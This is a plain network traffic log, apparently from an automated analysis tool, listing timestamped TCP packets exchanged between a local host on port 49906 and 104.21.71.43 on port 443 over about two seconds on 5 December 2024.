Dec 5, 2024 15:04:35.528913975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.528934002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.534663916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.534689903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.534729004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.534744978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.534775019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.534789085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.540518999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.540556908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.540592909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.540606976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.540627003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.540642023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.545494080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.545521021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.545557022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.545569897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.545595884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.545623064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.551477909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.551501989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.551541090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.551554918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.551573038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.551594019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.557590961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.557629108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.557674885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.557687998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.557714939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.557733059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.562982082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.563007116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.563070059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.563085079 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.563123941 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.715473890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.715506077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.715707064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.715739965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.715790033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.724188089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.724215984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.724302053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.724308968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.724353075 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.727658987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.727686882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.727767944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.727772951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.727811098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.733756065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.733786106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.733859062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.733865023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.733906031 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.737730026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.737765074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.737828016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.737837076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.737879992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.743808985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.743858099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.743937016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.743943930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.743987083 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.749474049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.749491930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.749573946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.749581099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.749622107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.755142927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.755173922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.755217075 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.755222082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.755259991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.755280972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.907872915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.907903910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.907968998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.907995939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.908010006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.908041000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.913846016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.913866043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.913944960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.913953066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.913997889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.920444965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.920461893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.920516968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.920522928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.920572996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.924938917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.924956083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.925012112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.925018072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.925060987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.930140972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.930169106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.930239916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.930246115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.930279970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.935612917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.935631037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.935693026 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.935700893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.935738087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.941924095 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.941939116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.941999912 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.942020893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.942058086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.947276115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.947292089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.947427034 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.947448015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.947493076 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.100402117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.100444078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.100552082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.100575924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.100598097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.100615025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.105483055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.105508089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.105566025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.105587006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.105626106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.105663061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.111275911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.111300945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.111363888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.111371040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.111417055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.116981983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.117010117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.117077112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.117083073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.117141008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.117141008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.121995926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.122018099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.122066975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.122092962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.122111082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.122143030 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.128266096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.128288031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.128329992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.128335953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.128362894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.128400087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.133949041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.133971930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.134061098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.134066105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.134104967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.139017105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.139039993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.139127016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.139132023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.139170885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.293093920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.293124914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.293286085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.293318033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.293356895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.298052073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.298069000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.298136950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.298161030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.298207045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.304042101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.304064035 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.304109097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.304120064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.304155111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.304199934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.309540033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.309561014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.309619904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.309629917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.309672117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.314599991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.314616919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.314676046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.314682961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.314722061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.320776939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.320825100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.320884943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.320890903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.320925951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.326062918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.326080084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.326256990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.326263905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.326304913 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.331954956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.331971884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.332041979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.332047939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.332086086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.485449076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.485474110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.485558987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.485583067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.485625982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.491133928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.491152048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.491229057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.491235018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.491276026 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.497045040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.497061014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.497128963 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.497134924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.497174978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.501966000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.501981020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.502031088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.502038002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.502064943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.502082109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.507811069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.507880926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.507983923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.508044958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.514187098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.514214039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.514249086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.514260054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.514272928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.514292955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.518944979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.518966913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.519001961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.519012928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.519027948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.519042969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.524765015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.524792910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.524837017 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.524847984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.524876118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.524965048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.679020882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.679040909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.679089069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.679099083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.679135084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.679152966 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.684732914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.684746981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.684793949 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.684798956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.684830904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.690618992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.690644979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.690670013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.690674067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.690706015 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.695677042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.695692062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.695740938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.695745945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.695786953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.701764107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.701778889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.701827049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.701832056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.701860905 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.706898928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.706913948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.706969023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.706974030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.707012892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.712564945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.712582111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.712622881 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.712626934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.712661982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.718458891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.718472958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.718523979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.718528986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.718559027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.871342897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.871367931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.871455908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.871476889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.871615887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.877114058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.877131939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.877227068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.877250910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.877294064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.882174015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.882191896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.882262945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.882270098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.882306099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.885541916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.885613918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.885622025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.890489101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.890503883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.890549898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.890558958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.890588045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.896632910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.896647930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.896719933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.896728039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.901702881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.901717901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.901779890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.901786089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.907264948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.907279968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.907341003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:36.907349110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:36.958203077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.060920954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.060935020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.060949087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.060956001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.060986042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.061028957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.061037064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.061079979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.066550016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.066557884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.066606045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.066659927 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.066668987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.066706896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.066726923 CET	49906	443	192.168.2.6	104.21.71.43
